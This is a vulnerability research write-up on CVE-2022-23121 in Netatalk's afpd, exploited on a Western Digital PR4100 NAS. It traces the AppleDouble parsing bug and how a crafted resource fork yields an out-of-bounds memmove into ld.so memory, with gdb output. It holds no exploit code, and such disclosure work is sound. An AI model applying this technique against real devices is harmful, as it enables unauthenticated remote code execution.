This blog post describes an unchecked return value vulnerability found and exploited in September 2021 by Alex Plaskett, Cedric Halbronn and Aaron Adams working at the Exploit Development Group (EDG) of NCC Group. We successfully exploited it at Pwn2Own 2021 competition in November 2021 when targeting the Western Digital PR4100. Western Digital published a firmware update (5.19.117) which entirely removed support for the open source third party vulnerable service "Depreciated Netatalk Service". As this vulnerability was addressed in the upstream Netatalk code, CVE-2022-23121 was assigned and a ZDI advisory published together with a new Netatalk release 3.1.13 distributed which fixed this vulnerability together with a number of others.
The vulnerability is in the Netatalk project, which is an open-source implementation of the Apple Filing Protocol (AFP). The Netatalk code is implemented in the /usr/sbin/afpd
service and the /lib64/libatalk.so
library. The afpd
service is running by default on the Western Digital My Cloud Pro Series PR4100 NAS.
This vulnerability can be exploited remotely and does not need authentication. It allows an attacker to get remote code execution as the nobody
user on the NAS. This user can access private shares that would normally require authentication.
We have analysed and exploited the vulnerability on the 5.17.107 version, which we detail below but older versions are likely vulnerable too.
Note: The Western Digital My Cloud Pro Series PR4100 NAS is based on the x86_64 architecture.
We have named our exploit "Mooncake". This is because we finished writing our exploit on the 21st September 2021, which happens to be the day of the Mid-Autumn Festival a.k.a Mooncake festival in 2021.
The Apple Filing Protocol (AFP) is an alternative to the well known Server Message Block (SMB) protocol to share files over the network. The AFP specification can be found here.
AFP is transmitted over the Data Stream Interface (DSI) protocol, itself transmitted over TCP/IP, on TCP port 548.
However, SMB seems to have won the file sharing network protocols battle and AFP is less known, even if still supported in devices such as NAS. The AFP protocol was deprecated in OS X 10.9 and AFP server was removed in OS X 11.
The Netatalk project is an implementation of AFP/DSI for UNIX platforms that was moved to SourceForge in 2000. Its original purposes was to allow UNIX-like operating systems to serve as AFP servers for many Macintosh / OS X clients.
As detailed earlier, AFP is getting less and less interest. This is reflected in the Netatalk project too. The latest Netatalk’s stable release (3.1.12) was released in December 2018 which makes it a rather deprecated and unsupported project.
The Netatalk project was vulnerable to the CVE-2018-1160 vulnerability which was an out-of-bounds write in the DSIOpensession command (dsi_opensession()
) in Netatalk < 3.1.12. This was successfully exploited on Seagate NAS due to no ASLR and later on environments with ASLR as part of the Hitcon 2019 CTF challenge.
The AppleSingle and AppleDouble file formats aim to store regular files’ metadata and allows sharing that information between different filesystems without having to worry about interoperability.
The main idea is based on the fact that any filesystem allows to store files as a series of bytes. So it is possible to save regular files’ metadata (a.k.a attributes) into additional files along the regular files and reflect these attributes back to the other end (or at least some of them) if the other end’s filesystem supports them. Otherwise, the additional attributes can be discarded.
The AppleSingle and AppleDouble specification can be found here. The AppleDouble file format is also explained in the samba source code with this diagram:
/*
"._" AppleDouble Header File Layout:
MAGIC 0x00051607
VERSION 0x00020000
FILLER 0
COUNT 2
.-- AD ENTRY[0] Finder Info Entry (must be first)
.--+-- AD ENTRY[1] Resource Fork Entry (must be last)
| | /////////////
| '-> FINDER INFO Fixed Size Data (32 Bytes)
| ~~~~~~~~~~~~~ 2 Bytes Padding
| EXT ATTR HDR Fixed Size Data (36 Bytes)
| /////////////
| ATTR ENTRY[0] --.
| ATTR ENTRY[1] --+--.
| ATTR ENTRY[2] --+--+--.
| ... | | |
| ATTR ENTRY[N] --+--+--+--.
| ATTR DATA 0 <-' | | |
| //////////// | | |
| ATTR DATA 1 <----' | |
| ///////////// | |
| ATTR DATA 2 <-------' |
| ///////////// |
| ... |
| ATTR DATA N <----------'
| /////////////
| ... Attribute Free Space
|
'----> RESOURCE FORK
... Variable Sized Data
...
*/
The afpd
binary and libatalk.so
library don’t have symbols. However, Western Digital published the Netatalk open-source based implementation they used, as well as the patches they implemented in here due to the GNU General Public License (GPL). The latest source code archive Western Digital published was for version 5.16.105 and does not match the latest version analysed (5.17.107). However, we have confirmed that afpd
and netatalk.so
have never been modified in all OS 5 versions so far. Consequently, the code shown below is generally refering to the Netatalk source code.
NOTE: Western Digital PR4100 uses the latest 3.1.12 netatalk source code as a base.
Let’s analyse how the netatalk code accepts client connections, parses AFP requests to reach the vulnerable code when dealing with opening fork files stored in the AppleDouble file format.
The main()
entry point function initialises lots of objects in memory, loads the AFP configuration, and starts listening on the AFP port (TCP 548).
//netatalk-3.1.12/etc/afpd/main.c int main(int ac, char **av) { ... /* wait for an appleshare connection. parent remains in the loop * while the children get handled by afp_over_{asp,dsi}. this is * currently vulnerable to a denial-of-service attack if a * connection is made without an actual login attempt being made * afterwards. establishing timeouts for logins is a possible * solution. */ while (1) { ... for (int i = 0; i < asev->used; i++) { if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) { switch (asev->data[i].fdtype) { case LISTEN_FD: if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) { ... } break; ... ```
The dsi_start()
function basically calls into 2 functions: dsi_getsession()
and afp_over_dsi()
.
//netatalk-3.1.12/etc/afpd/main.c static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children) { afp_child_t *child = NULL; if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) { LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno)); return NULL; } /* we've forked. */ if (child == NULL) { configfree(obj, dsi); afp_over_dsi(obj); /* start a session */ exit (0); } return child; }
The dsi_getsession()
calls into a dsi->proto_open
function pointer which is dsi_tcp_open()
:
//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c /*! * Start a DSI session, fork an afpd process * * @param childp (w) after fork: parent return pointer to child, child returns NULL * @returns 0 on sucess, any other value denotes failure */ int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp) { ... switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
The dsi_tcp_open()
function accepts a client connection, creates a subprocess with fork()
and starts initialising the DSI session with the client.
Teaser: That will be useful for exploitation.
/* accept the socket and do a little sanity checking */ static pid_t dsi_tcp_open(DSI *dsi) { pid_t pid; SOCKLEN_T len; len = sizeof(dsi->client); dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len); ... if (0 == (pid = fork()) ) { /* child */ ... } /* send back our pid */ return pid; }
Back into dsi_getsession()
, the parent afpd
sets *childp != NULL
whereas the forked child afpd
handling the client connection sets *childp == NULL
//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c /*! * Start a DSI session, fork an afpd process * * @param childp (w) after fork: parent return pointer to child, child returns NULL * @returns 0 on sucess, any other value denotes failure */ int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp) { ... switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */ case -1: /* if we fail, just return. it might work later */ LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno)); return -1; case 0: /* child. mostly handled below. */ break; default: /* parent */ /* using SIGKILL is hokey, but the child might not have * re-established its signal handler for SIGTERM yet. */ close(ipc_fds[1]); if ((child = server_child_add(serv_children, pid, ipc_fds[0])) == NULL) { LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno)); close(ipc_fds[0]); dsi->header.dsi_flags = DSIFL_REPLY; dsi->header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY); dsi_send(dsi); dsi->header.dsi_data.dsi_code = DSIERR_OK; kill(pid, SIGKILL); } dsi->proto_close(dsi); *childp = child; return 0; } ... switch (dsi->header.dsi_command) { ... case DSIFUNC_OPEN: /* setup session */ /* set up the tickle timer */ dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval; dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0; dsi_opensession(dsi); *childp = NULL; return 0; default: /* just close */ LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command); dsi->proto_close(dsi); exit(EXITERR_CLNT); } }
We are now back into dsi_start()
. For the parent, nothing happens and the main()
forever loop continues waiting for other client connections. For the child handling the connection, afp_over_dsi()
is called.
This function reads the AFP packet (which is the DSI payload), determines the AFP command and calls a function pointer inside the afp_switch[]
global array to handle that AFP command.
//netatalk-3.1.12/etc/afpd/afp_dsi.c /* ------------------------------------------- afp over dsi. this never returns. */ void afp_over_dsi(AFPObj *obj) { ... /* get stuck here until the end */ while (1) { ... /* Blocking read on the network socket */ cmd = dsi_stream_receive(dsi); ... switch(cmd) { ... case DSIFUNC_CMD: ... /* send off an afp command. in a couple cases, we take advantage * of the fact that we're a stream-based protocol. */ if (afp_switch[function]) { dsi->datalen = DSI_DATASIZ; dsi->flags |= DSI_RUNNING; LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function)); AFP_AFPFUNC_START(function, (char *)AfpNum2name(function)); err = (*afp_switch[function])(obj, (char *)dsi->commands, dsi->cmdlen, (char *)&dsi->data, &dsi->datalen);
The afp_switch[]
global array is initialized to the preauth_switch
value initially which consists of only a few handlers available pre-authentication.
We can guess it is set to the postauth_switch
value once the client is authenticated. This gives access to a lot of other AFP features.
//netatalk-3.1.12/etc/afpd/switch.c /* * Routines marked "NULL" are not AFP functions. * Routines marked "afp_null" are AFP functions * which are not yet implemented. A fine line... */ static AFPCmd preauth_switch[] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 0 - 7 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 8 - 15 */ NULL, NULL, afp_login, afp_logincont, afp_logout, NULL, NULL, NULL, /* 16 - 23 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 24 - 31 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 32 - 39 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 40 - 47 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, /* 48 - 55 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, afp_login_ext, /* 56 - 63 */ ... }; AFPCmd *afp_switch = preauth_switch; AFPCmd postauth_switch[] = { NULL, afp_bytelock, afp_closevol, afp_closedir, afp_closefork, afp_copyfile, afp_createdir, afp_createfile, /* 0 - 7 */ afp_delete, afp_enumerate, afp_flush, afp_flushfork, afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo, /* 8 - 15 */ afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont, afp_logout, afp_mapid, afp_mapname, afp_moveandrename, /* 16 - 23 */ afp_openvol, afp_opendir, afp_openfork, afp_read, afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams, /* 24 - 31 */ afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams, afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /* 32 - 39 */ afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch, afp_null, afp_null, afp_null, afp_null, /* 40 - 47 */ afp_opendt, afp_closedt, afp_null, afp_geticon, afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl, /* 48 - 55 */ afp_addcomment, afp_rmvcomment, afp_getcomment, NULL, ... };
Here it is interesting to note that the Western Digital PR4100 has a Public
AFP share by default which is available without requiring user authentication. This means we can reach all these post-authentication handlers as long as we target the Public
share. It is also worth mentioning that the same Public
share is available over the Server Message Block (SMB) protocol to the guest user, without requiring any password.
It means we can read / create / modify any files over AFP or SMB as long as they are stored in the Public
share.
The AFP command we are interested in is "FPOpenFork", which is handled by the afp_openfork()
handler. As detailed previously, a fork file is a special type of file used to store metadata associated with a regular file. The fork file is stored in the AppleDouble file format. The afp_openfork()
handler finds the volume and fork file path to open and call ad_open()
("ad" stands for AppleDouble).
//netatalk-3.1.12/etc/afpd/fork.c /* ----------------------- */ int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen) { ... struct adouble *adsame = NULL; ... if ((opened = of_findname(vol, s_path))) { adsame = opened->of_ad; } ... if ((ofork = of_alloc(vol, curdir, path, &ofrefnum, eid, adsame, st)) == NULL) return AFPERR_NFILE; ... /* First ad_open(), opens data or ressource fork */ if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {
The ad_open()
function is quite generic in that it can open different fork files: a data fork file, a metadata fork file or a resource fork file. Since we are dealing with a resource fork here, we end up calling ad_open_rf()
("rf" stands for resource fork).
NOTE: ad_open()
is in libatalk/
folder instead of etc/afpd
for the previously discussed code. Consequently, the code we analyse from now on is in libatalk.so
.
//netatalk-3.1.12/libatalk/adouble/ad_open.c /*! * Open data-, metadata(header)- or ressource fork * * ad_open(struct adouble *ad, const char *path, int adflags, int flags) * ad_open(struct adouble *ad, const char *path, int adflags, int flags, mode_t mode) * * You must call ad_init() before ad_open, usually you'll just call it like this: \n * @code * struct adoube ad; * ad_init(&ad, vol->v_adouble, vol->v_ad_options); * @endcode * * Open a files data fork, metadata fork or ressource fork. * * @param ad (rw) pointer to struct adouble * @param path (r) Path to file or directory * @param adflags (r) Flags specifying which fork to open, can be or'd: * ADFLAGS_DF: open data fork * ADFLAGS_RF: open ressource fork * ADFLAGS_HF: open header (metadata) file * ADFLAGS_NOHF: it's not an error if header file couldn't be opened * ADFLAGS_NORF: it's not an error if reso fork couldn't be opened * ADFLAGS_DIR: if path is a directory you MUST or ADFLAGS_DIR to adflags * * Access mode for the forks: * ADFLAGS_RDONLY: open read only * ADFLAGS_RDWR: open read write * * Creation flags: * ADFLAGS_CREATE: create if not existing * ADFLAGS_TRUNC: truncate * * Special flags: * ADFLAGS_CHECK_OF: check for open forks from us and other afpd's * ADFLAGS_SETSHRMD: this adouble struct will be used to set sharemode locks. * This basically results in the files being opened RW instead of RDONLY. * @param mode (r) mode used with O_CREATE * * The open mode flags (rw vs ro) have to take into account all the following requirements: * - we remember open fds for files because me must avoid a single close releasing fcntl locks for other * fds of the same file * * BUGS: * * * on Solaris (HAVE_EAFD) ADFLAGS_RF doesn't work without * ADFLAGS_HF, because it checks whether ad_meta_fileno() is already * openend. As a workaround pass ADFLAGS_SETSHRMD. * * @returns 0 on success, any other value indicates an error */ int ad_open(struct adouble *ad, const char *path, int adflags, ...) { ... if (adflags & ADFLAGS_RF) { if (ad_open_rf(path, adflags, mode, ad) != 0) { EC_FAIL; } }
ad_open_rf()
then calls into ad_open_rf_ea()
:
//netatalk-3.1.12/libatalk/adouble/ad_open.c /*! * Open ressource fork */ static int ad_open_rf(const char *path, int adflags, int mode, struct adouble *ad) { int ret = 0; switch (ad->ad_vers) { case AD_VERSION2: ret = ad_open_rf_v2(path, adflags, mode, ad); break; case AD_VERSION_EA: ret = ad_open_rf_ea(path, adflags, mode, ad); break; default: ret = -1; break; } return ret; }
The ad_open_rf_ea()
function opens the resource fork file. Assuming the file already exists, it ends up calling into ad_header_read_osx()
to read the actual content, which is in the AppleDouble format:
static int ad_open_rf_ea(const char *path, int adflags, int mode, struct adouble *ad) { ... #ifdef HAVE_EAFD ... #else EC_NULL_LOG( rfpath = ad->ad_ops->ad_path(path, adflags) ); if ((ad_reso_fileno(ad) = open(rfpath, oflags)) == -1) { ... } #endif opened = 1; ad->ad_rfp->adf_refcount = 1; ad->ad_rfp->adf_flags = oflags; ad->ad_reso_refcount++; #ifndef HAVE_EAFD EC_ZERO_LOG( fstat(ad_reso_fileno(ad), &st) ); if (ad->ad_rfp->adf_flags & O_CREAT) { /* This is a new adouble header file, create it */ LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, initializing: \"%s\"", path, rfpath); EC_NEG1_LOG( new_ad_header(ad, path, NULL, adflags) ); LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, flushing: \"%s\"", path, rfpath); ad_flush(ad); } else { /* Read the adouble header */ LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): reading adouble rfork: \"%s\"", path, rfpath); EC_NEG1_LOG( ad_header_read_osx(rfpath, ad, &st) ); } #endif
We have finally reached our vulnerable function: ad_header_read_osx()
.
The ad_header_read_osx()
reads the content of the resource fork i.e. interprets it in the AppleDouble file format. Netatalk stores elements of the AppleDouble file format inside its own adouble
structure that we will detail soon. ad_header_read_osx()
starts by reading the AppleDouble header to determine how many entries there are.
//netatalk-3.1.12/libatalk/adouble/ad_open.c /* Read an ._ file, only uses the resofork, finderinfo is taken from EA */ static int ad_header_read_osx(const char *path, struct adouble *ad, const struct stat *hst) { ... struct adouble adosx; ... LOG(log_debug, logtype_ad, "ad_header_read_osx: %s", path ? fullpathname(path) : ""); ad_init_old(&adosx, AD_VERSION_EA, ad->ad_options); buf = &adosx.ad_data[0]; memset(buf, 0, sizeof(adosx.ad_data)); adosx.ad_rfp->adf_fd = ad_reso_fileno(ad); /* read the header */ EC_NEG1( header_len = adf_pread(ad->ad_rfp, buf, AD_DATASZ_OSX, 0) ); ... memcpy(&adosx.ad_magic, buf, sizeof(adosx.ad_magic)); memcpy(&adosx.ad_version, buf + ADEDOFF_VERSION, sizeof(adosx.ad_version)); adosx.ad_magic = ntohl(adosx.ad_magic); adosx.ad_version = ntohl(adosx.ad_version); ... memcpy(&nentries, buf + ADEDOFF_NENTRIES, sizeof( nentries )); nentries = ntohs(nentries); len = nentries * AD_ENTRY_LEN;
Then we see it calls into parse_entries()
to parse the different AppleDouble entries. What is interesting below is that if parse_entries()
fails,
it logs an error but does not exit.
nentries = len / AD_ENTRY_LEN; if (parse_entries(&adosx, buf, nentries) != 0) { LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble", path ? fullpathname(path) : ""); }
If we look closer at parse_entries()
, we see that it sets an error if one of the following condition occurs:
We know we are dealing with resource forks, so the second condition is interesting. In short, it means we can provide an out of bound
AppleDouble "offset" and parse_entries()
returns an error, but ad_header_read_osx()
ignores that error and continues processing.
//netatalk-3.1.12/libatalk/adouble/ad_open.c /** * Read an AppleDouble buffer, returns 0 on success, -1 if an entry was malformatted **/ static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries) { uint32_t eid, len, off; int ret = 0; /* now, read in the entry bits */ for (; nentries > 0; nentries-- ) { memcpy(&eid, buf, sizeof( eid )); eid = get_eid(ntohl(eid)); buf += sizeof( eid ); memcpy(&off, buf, sizeof( off )); off = ntohl( off ); buf += sizeof( off ); memcpy(&len, buf, sizeof( len )); len = ntohl( len ); buf += sizeof( len ); ad->ad_eid[eid].ade_off = off; ad->ad_eid[eid].ade_len = len; if (!eid || eid > ADEID_MAX || off >= sizeof(ad->ad_data) || ((eid != ADEID_RFORK) && (off + len > sizeof(ad->ad_data)))) { ret = -1; LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u", (uint)eid, (uint)off, (uint)len); } } return ret; }
From here, it is useful to know what mitigations are in place to know what we are going to need to bypass and also analyse the code after parse_entries()
returns to know what kind of exploitation primitives we can build.
Checking the ASLR settings of the kernel:
[email protected] ~ # cat /proc/sys/kernel/randomize_va_space
2
From here:
Checking the mitigations of the afpd
binary using checksec.py:
[*] '/home/cedric/pwn2own/firmware/wd_pr4100/_WDMyCloudPR4100_5.17.107_prod.bin.extracted/squashfs-root/usr/sbin/afpd'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
So to summarize:
afpd
: randomized
.text
: read/execute.data
: read/writeSince everything is randomized, we are going to need some kind of leak primitive to bypass ASLR. We still need to investigate if we can trigger a path where an out of bound offset access is useful for exploitation.
Let’s analyse the code in ad_header_read_osx()
again. Let’s assume the previously discussed parse_entries()
function parses an AppleDouble file where some entries can have offsets pointing out of bound. Let’s see what we can do after parse_entries()
returns. We see that assuming the if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {
condition passes, it ends up calling into ad_convert_osx()
.
nentries = len / AD_ENTRY_LEN; if (parse_entries(&adosx, buf, nentries) != 0) { LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble", path ? fullpathname(path) : ""); } if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) { LOG(log_warning, logtype_ad, "Convert OS X to Netatalk AppleDouble: %s", path ? fullpathname(path) : ""); if (retry_read > 0) { LOG(log_error, logtype_ad, "ad_header_read_osx: %s, giving up", path ? fullpathname(path) : ""); errno = EIO; EC_FAIL; } retry_read++; if (ad_convert_osx(path, &adosx) == 1) { goto reread; } errno = EIO; EC_FAIL; }
As the comment below states, the ad_convert_osx()
function is responsible for converting the Apple’s AppleDouble file format to a simplified version of the format that is implemented in Netatalk.
We see that the ad_convert_osx()
function starts by mapping the original fork file (in the AppleDouble file format) in memory. Then it calls memmove()
to discard the FinderInfo part and to move the rest on top of it.
//netatalk-3.1.12/libatalk/adouble/ad_open.c /** * Convert from Apple's ._ file to Netatalk * * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes * containing packed xattrs. Netatalk can't deal with that, so we * simply discard the packed xattrs. * * As we call ad_open() which might result in a recursion, just to be sure * use static variable in_conversion to check for that. * * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise **/ static int ad_convert_osx(const char *path, struct adouble *ad) { EC_INIT; static bool in_conversion = false; char *map; int finderlen = ad_getentrylen(ad, ADEID_FINDERI); ssize_t origlen; if (in_conversion || finderlen == ADEDLEN_FINDERI) return 0; in_conversion = true; LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d", fullpathname(path), finderlen); origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK); map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0); if (map == MAP_FAILED) { LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno)); EC_FAIL; } memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, map + ad_getentryoff(ad, ADEID_RFORK), ad_getentrylen(ad, ADEID_RFORK));
Here it is time to look at the adouble
structure. The important fields for us are ad_eid[]
and ad_data[]
. The adouble
structure was already populated when the AppleDouble file was read. So we control all these fields.
//netatalk-3.1.12/include/atalk/adouble.h struct ad_entry { off_t ade_off; ssize_t ade_len; }; struct adouble { uint32_t ad_magic; /* Official adouble magic */ uint32_t ad_version; /* Official adouble version number */ char ad_filler[16]; struct ad_entry ad_eid[ADEID_MAX]; ... char ad_data[AD_DATASZ_MAX]; };
The functions/macros used to access the EID offset or length fields, as well as the data content are pretty self explanatory:
ad_getentryoff()
: get an EID offset valuead_getentrylen()
: get an EID length valuead_entry()
: get the data associated with an EID (by retrieving it from the above offset)//netatalk-3.1.12/libatalk/adouble/ad_open.c off_t ad_getentryoff(const struct adouble *ad, int eid) { if (ad->ad_vers == AD_VERSION2) return ad->ad_eid[eid].ade_off; switch (eid) { case ADEID_DFORK: return 0; case ADEID_RFORK: #ifdef HAVE_EAFD return 0; #else return ad->ad_eid[eid].ade_off; #endif default: return ad->ad_eid[eid].ade_off; } /* deadc0de */ AFP_PANIC("What am I doing here?"); }
//netatalk-3.1.12/include/atalk/adouble.h #define ad_getentrylen(ad,eid) ((ad)->ad_eid[(eid)].ade_len) #define ad_setentrylen(ad,eid,len) ((ad)->ad_eid[(eid)].ade_len = (len)) #define ad_setentryoff(ad,eid,off) ((ad)->ad_eid[(eid)].ade_off = (off)) #define ad_entry(ad,eid) ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)
So we control all the fields in the AppleDouble file format. More precisely, we know we can craft an invalid EID "offset" for all the entries we need, due to the previously discussed parse_entries()
unchecked return value.
Moreover, we can craft a resource fork of the size we want by having larger data. This means we can effectively control the source, destination and length of the memmove()
call to write data we control outside of the memory mapping.
NOTE: the entries we want to target are ADEID_FINDERI
and ADEID_RFORK
:
memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, map + ad_getentryoff(ad, ADEID_RFORK), ad_getentrylen(ad, ADEID_RFORK));
The next question that comes to mind is where does the memory mapping gets mapped?
From testing, it turns out that if the fork file is less than 0x1000 bytes, the mapped file is allocated in quite high addresses
before uams_pam.so
, uams_guest.so
and ld-2.28.so
mappings. More precisely, the ld-2.28.so
mapping is always 0xC000 bytes
after the beginning of the mapped file, even if ASLR is in place:
(gdb) info proc mappings
process 26343
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x5579bb534000 0x5579bb53d000 0x9000 0x0 /usr/local/modules/usr/sbin/afpd
0x5579bb53d000 0x5579bb571000 0x34000 0x9000 /usr/local/modules/usr/sbin/afpd
0x5579bb571000 0x5579bb57c000 0xb000 0x3d000 /usr/local/modules/usr/sbin/afpd
0x5579bb57c000 0x5579bb57d000 0x1000 0x47000 /usr/local/modules/usr/sbin/afpd
0x5579bb57d000 0x5579bb580000 0x3000 0x48000 /usr/local/modules/usr/sbin/afpd
0x5579bb580000 0x5579bb5a0000 0x20000 0x0
0x5579bcd51000 0x5579bcd72000 0x21000 0x0 [heap]
0x5579bcd72000 0x5579bcd92000 0x20000 0x0 [heap]
0x7f6c56e30000 0x7f6c56eb0000 0x80000 0x0
...
0x7f6c57e02000 0x7f6c57e24000 0x22000 0x0 /lib/libc-2.28.so
0x7f6c57e24000 0x7f6c57f6c000 0x148000 0x22000 /lib/libc-2.28.so
0x7f6c57f6c000 0x7f6c57fb8000 0x4c000 0x16a000 /lib/libc-2.28.so
0x7f6c57fb8000 0x7f6c57fb9000 0x1000 0x1b6000 /lib/libc-2.28.so
0x7f6c57fb9000 0x7f6c57fbd000 0x4000 0x1b6000 /lib/libc-2.28.so
0x7f6c57fbd000 0x7f6c57fbf000 0x2000 0x1ba000 /lib/libc-2.28.so
...
0x7f6c58129000 0x7f6c58134000 0xb000 0x0 /usr/local/modules/lib/libatalk.so.18.0.0
0x7f6c58134000 0x7f6c58177000 0x43000 0xb000 /usr/local/modules/lib/libatalk.so.18.0.0
0x7f6c58177000 0x7f6c58191000 0x1a000 0x4e000 /usr/local/modules/lib/libatalk.so.18.0.0
0x7f6c58191000 0x7f6c58192000 0x1000 0x67000 /usr/local/modules/lib/libatalk.so.18.0.0
0x7f6c58192000 0x7f6c58194000 0x2000 0x68000 /usr/local/modules/lib/libatalk.so.18.0.0
0x7f6c58194000 0x7f6c581b1000 0x1d000 0x0
0x7f6c581b2000 0x7f6c581b3000 0x1000 0x0 /mnt/HD/HD_a2/Public/edg/._mooncake
0x7f6c581b3000 0x7f6c581b4000 0x1000 0x0 /usr/local/modules/lib/netatalk/uams_pam.so
0x7f6c581b4000 0x7f6c581b6000 0x2000 0x1000 /usr/local/modules/lib/netatalk/uams_pam.so
0x7f6c581b6000 0x7f6c581b7000 0x1000 0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
0x7f6c581b7000 0x7f6c581b8000 0x1000 0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
0x7f6c581b8000 0x7f6c581b9000 0x1000 0x4000 /usr/local/modules/lib/netatalk/uams_pam.so
0x7f6c581b9000 0x7f6c581ba000 0x1000 0x0 /usr/local/modules/lib/netatalk/uams_guest.so
0x7f6c581ba000 0x7f6c581bb000 0x1000 0x1000 /usr/local/modules/lib/netatalk/uams_guest.so
0x7f6c581bb000 0x7f6c581bc000 0x1000 0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
0x7f6c581bc000 0x7f6c581bd000 0x1000 0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
0x7f6c581bd000 0x7f6c581be000 0x1000 0x3000 /usr/local/modules/lib/netatalk/uams_guest.so
0x7f6c581be000 0x7f6c581bf000 0x1000 0x0 /lib/ld-2.28.so
0x7f6c581bf000 0x7f6c581dd000 0x1e000 0x1000 /lib/ld-2.28.so
0x7f6c581dd000 0x7f6c581e5000 0x8000 0x1f000 /lib/ld-2.28.so
0x7f6c581e5000 0x7f6c581e6000 0x1000 0x26000 /lib/ld-2.28.so
0x7f6c581e6000 0x7f6c581e7000 0x1000 0x27000 /lib/ld-2.28.so
0x7f6c581e7000 0x7f6c581e8000 0x1000 0x0
0x7ffe86f2b000 0x7ffe86f71000 0x46000 0x0 [stack]
0x7ffe86fb7000 0x7ffe86fba000 0x3000 0x0 [vvar]
0x7ffe86fba000 0x7ffe86fbc000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
This means we could use the memmove()
to overwrite some data in one of the mentioned libraries. But what library to target?
While debugging, we noticed that when a crash occurs, if we continue execution, a special exception handler in Netatalk catches the exception to handle it.
More specifically, we overwrote the whole ld-2.28.so
.data
section and ended up with the following crash:
(remote-gdb) bt
#0 0x00007f423de3eb50 in _dl_open (file=0x7f423dbf0e86 "libgcc_s.so.1", mode=-2147483646, caller_dlopen=0x7f423db771c5 <init+21>, nsid=-2, argc=4, argv=0x7fffa4967cf8, env=0x7fffa4967d20) at dl-open.c:548
#1 0x00007f423dba406d in do_dlopen (Reading in symbols for dl-error.c...done.
[email protected]=0x7fffa4966170) at dl-libc.c:96
#2 0x00007f423dba4b2f in __GI__dl_catch_exception ([email protected]=0x7fffa49660f0, [email protected]=0x7f423dba4030 <do_dlopen>, [email protected]=0x7fffa4966170) at dl-error-skeleton.c:196
#3 0x00007f423dba4bbf in __GI__dl_catch_error ([email protected]=0x7fffa4966148, [email protected]=0x7fffa4966150, [email protected]=0x7fffa4966147, [email protected]=0x7f423dba4030 <do_dlopen>, [email protected]=0x7fffa4966170) at dl-error-skeleton.c:215
#4 0x00007f423dba4147 in dlerror_run ([email protected]=0x7f423dba4030 <do_dlopen>, [email protected]=0x7fffa4966170) at dl-libc.c:46
#5 0x00007f423dba41d6 in __GI___libc_dlopen_mode ([email protected]=0x7f423dbf0e86 "libgcc_s.so.1", [email protected]=-2147483646) at dl-libc.c:195
#6 0x00007f423db771c5 in init () at backtrace.c:53
Reading in symbols for pthread_once.c...done.
